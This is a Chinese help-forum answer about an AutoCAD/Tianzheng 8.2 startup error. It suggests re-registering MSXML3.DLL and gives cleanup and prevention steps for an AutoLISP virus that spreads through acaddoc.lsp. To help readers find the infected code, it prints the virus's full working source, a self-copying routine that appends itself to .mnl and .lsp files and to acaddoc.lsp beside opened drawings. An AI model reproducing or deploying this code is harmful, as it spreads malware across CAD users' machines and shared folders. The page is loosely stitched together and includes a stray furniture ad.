commandline卡住cad(打开天正8.2的时候出现:加载自定义文件失败,未找...)

案例 2020-02-05 17:48:56

在CAD中COMMANDLINE这个命令的功能是什么?
1. 命令行
colorpalette彩色调色板...commandline命令行...commandprompt命令提示符
2. 进入命令行提示符方式
commandline...commandline 进入命令行提示符方式。...find
3. 进入命令行方式
fallback 如果调用当前的菜单项时出现错误,则跳转到 NUM 项后重试。...commandline 进入命令行方式。...find 在所有分区上查找文件名, 并显示包含该文件的设备。
4. 获取该进程的命令行
名称 说明...commandline 获取该进程的命令行。...CurrentDirectory 获取和设置当前目录(即该进程从中启动的目录)的完全限定路径。
请问你的64位系统为什么CAD2008打时出现加载自定义...
1. 结束所有正在运作的CAD程式;
2. 点选Windows 画面左下方之开始→运行;
3. 在运行对话框输入REGSVR32 MSXML3.DLL ,点选确定,正常状况下,您会看到一个 MSXML6.DLL中的DllRegisterServer 成功的信息;
4. 重新启动您的 AutoCAD 即可。

这个原因可能是动态连接库msxml3.dll失效的缘故。你利用menu命令自动加载是否能够成功?cui是配置文件

或者在别人电脑里面考个文件就行

Z13-0109 北欧沙发收纳筐足球篮球相机架Z13-0109 北欧沙发收纳筐足球篮球相机架


打开天正8.2的时候出现:加载自定义文件失败,未找...
应该是CAD病毒的问题~! 是后缀为.lsp文件导致的 ·······
如下办法清理;
1. 退出CAD。
2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。
如果搜出的文件无法删除,则先清空回收站,再搜索删除。
注:探索者目录下有个AcadDoc.lsp(注意大小写)不是病毒文件,谨防误删。
3. 查看C盘根目录下是否有boot.dat文件,如有,则将其删除。
4. 进入C:Documents and Settings用户名Application DataAutodeskAutoCAD 2006(或AutoCAD2004)R16.2chsSupport目录,用记事本打开该目录下的所有*.mnl文件,手动删除与附件1相同的代码(一般都在文件末尾),然后保存。并将修改后的所有*.mnl文件属性设置为“只读”。
5. 进入CAD安装目录下的support目录,将该目录下的所有*.lsp文件按步骤4方法处理。记得将其属性设为“只读”。
6. 如果本机安装有多个版本的CAD,都需按上述步骤检查一次。

五 预防措施:
由于该病毒是通过读取dwg文件所在的目录下acaddoc.lsp来传播的。因为在接受其他同事的文件夹时,应先检查该文件夹中是否包含上述病毒文件。如有,则删除之。同时也应该确保传给其他同事的文件夹不要包含上述文件。
病毒会感染support目录下的 *.lsp文件。因此建议新建一个文件夹,将常用的lisp程序放置在该文件夹下,同时在CAD选项中将其设置为工作搜索目录。
未装杀毒软件的机器应首先将杀毒软件装上(360杀毒软件免费的),在接受他人传来的文件后应首先杀毒。
建议不要直接打开公共盘上的dwg文件,应先下载到本机再打开。

附件1: 病毒代码
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)

另外查杀干净以后进行如下操作可以免疫
首先搜索硬盘上所有acad.lsp,acadapp.lsp,把搜索到的文件全部全部删除。
然后把安装CAD的文件夹里的Support文件夹里的acad2004.lsp(视版本不同,文件名也不同,R14版的是acadR14.lsp, 2002版的是acad2002.lsp等等)文件(一定要是lsp文件)复制出来,复制两次,然后把文件名分别改为acad.lsp和 acadapp.lsp,然后把这两个文件的属性设置为只读,再复制到Support文件夹里去.就可以了.
一定要把先把所有的acad.lsp,acadapp.lsp删除,才能进行以上操作!

试一试 有用记得采纳哦~!~